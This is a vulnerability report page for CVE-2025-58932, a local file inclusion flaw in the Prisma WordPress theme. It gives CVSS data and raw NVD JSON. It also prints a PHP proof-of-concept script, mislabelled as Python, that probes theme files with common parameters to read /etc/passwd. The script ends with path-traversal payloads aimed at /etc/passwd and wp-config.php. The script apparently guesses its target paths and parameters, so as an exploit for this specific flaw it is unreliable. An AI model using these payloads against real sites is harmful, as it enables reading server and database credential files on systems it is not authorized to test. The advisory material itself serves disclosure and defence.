Security Vulnerability Report
中文
CVE-2025-58932 CVSS 8.1 HIGH

CVE-2025-58932

Published: 2025-12-18 08:16:01
Last Modified: 2026-04-27 20:16:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Prisma prisma allows PHP Local File Inclusion.This issue affects Prisma: from n/a through <= 1.10.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:prisma:*:*:*:*:*:wordpress:*:* - VULNERABLE
Prisma主题 <= 1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58932 PoC - Prisma Theme Local File Inclusion * Affected: axiomthemes Prisma WordPress Theme <= 1.10 * * Usage: php poc.php [target_url] [file_to_read] * Example: php poc.php http://target.com /etc/passwd * * Note: This PoC demonstrates the vulnerability for authorized security testing only. */ $target = $argv[1] ?? 'http://localhost'; $file = $argv[2] ?? '/etc/passwd'; // Common vulnerable paths in Prisma theme $vulnerable_paths = [ '/wp-content/themes/prisma/functions.php', '/wp-content/themes/prisma/header.php', '/wp-content/themes/prisma/single.php' ]; // Common LFI parameters $lfi_params = [ 'template', 'file', 'page', 'view', 'load', 'include' ]; foreach ($vulnerable_paths as $path) { foreach ($lfi_params as $param) { $url = $target . $path . '?' . $param . '=' . urlencode($file); echo "Testing: $url\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Possible LFI found with parameter: $param\n"; echo "Response preview:\n"; echo substr($response, 0, 500) . "\n"; echo "---\n"; } } } echo "\n[*] LFI Payloads to try manually:\n"; echo "?template=../../../../../../etc/passwd\n"; echo "?file=../../../../../../wp-config.php\n"; echo "?page=../../../../../../etc/passwd%00\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58932", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:00.670", "lastModified": "2026-04-27T20:16:19.983", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Prisma prisma allows PHP Local File Inclusion.This issue affects Prisma: from n/a through <= 1.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:prisma:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.10", "matchCriteriaId": "1C1ACAF7-ABE6-4D92-A848-3FAB6B208050"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/prisma/vulnerability/wordpress-prisma-theme-1-10-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}